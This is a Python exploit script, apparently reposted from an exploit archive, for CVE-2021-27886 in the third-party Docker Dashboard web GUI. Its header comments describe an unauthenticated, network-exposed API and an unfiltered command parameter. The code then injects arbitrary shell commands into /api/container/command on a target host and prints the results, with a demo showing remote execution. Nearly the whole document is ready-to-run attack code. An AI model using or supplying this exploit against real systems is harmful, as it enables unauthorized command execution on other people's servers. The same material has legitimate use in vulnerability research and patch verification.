Share
## https://sploitus.com/exploit?id=PACKETSTORM:163416
#!/usr/bin/python  
# -*- coding: UTF-8 -*-  
#  
# dockdash.py  
#  
# Docker Dashboard Remote Command Execution Exploit  
#  
# Jeremy Brown [jbrown3264/gmail]  
# July 2021  
#  
# "A simple web based GUI for managing Docker containers and images"  
#  
# Note: this app is NOT part of the official docker product, nor related to the  
# Docker Dashboard UI in Docker Desktop. They are different projects and maintainers.  
#  
# More info: https://dockerdashboard.github.io  
#  
# -------  
# Details  
# -------  
#  
# The web GUI runs on port 3230. There are two main issues that enable the RCE...  
#  
# 1) Although when starting the server it says go to http://localhost:3230, it's  
# actually listening on the network interface by default. There is no auth  
# so anyone with access can start exercising functionality of the app.  
#  
# 2) Normally these controllers are used to start, stop or create new containers.  
# But no validation of parameters or filtering based on acceptable commands sent  
# sent to docker on the backend enables clean, vanilla command injection as the  
# running user. Many of the APIs are vulnerable, with the most notables ones  
# being /api/container/command and /api/image/command.  
#  
# ----  
# Demo  
# ----  
#  
# > ./dockdash.py 10.1.1.102 "uname -a;pwd"  
# Linux ubuntu 5.4.0-48-generic #51-Ubuntu x86_64 GNU/Linux  
# /opt/docker-web-gui/backend  
#  
# CVE-2021-27886  
#  
# Fix  
# - commit 79cdc41  
#  
  
import sys  
import argparse  
import requests  
  
DEFAULT_PORT = 3230  
SIGNATURE = ('X-Powered-By', 'Express')  
  
class DockDash(object):  
def __init__(self, args):  
self.target = args.target  
self.cmd = args.cmd  
  
def run(self):  
target = "http://" + self.target + ':' + str(DEFAULT_PORT)  
  
session = requests.Session()  
  
try:  
resp = session.head(target + "/")  
except Exception as error:  
print("Error: %s" % error)  
return -1  
  
if(SIGNATURE not in resp.headers.items()):  
print("%s doesn't look like a dashboard server..." % target)  
return -1  
  
commands = self.cmd.split(';')  
  
#  
# "out here trying to get a mf'in scholarship"  
#  
for command in commands:  
try:  
resp = session.get(target + \  
"/api/container/command?container=&command=;" + command)  
#"/api/image/command?image=&command=;" + command)  
except Exception as error:  
print("Error: %s" % error)  
return -1  
  
if(resp.status_code == 200):  
response = resp.text.strip('"').replace('\\n', '\n')  
print("%s" % response)  
else:  
print("something went wrong, server returned %d" % resp.status_code)  
return -1  
  
return 0  
  
def arg_parse():  
parser = argparse.ArgumentParser()  
  
parser.add_argument("target",  
type=str,  
help="DD host")  
  
parser.add_argument("cmd",  
type=str,  
help="command to execute")  
  
args = parser.parse_args()  
  
return args  
  
def main():  
args = arg_parse()  
  
dd = DockDash(args)  
  
result = dd.run()  
  
if(result > 0):  
sys.exit(-1)  
  
if(__name__ == '__main__'):  
main()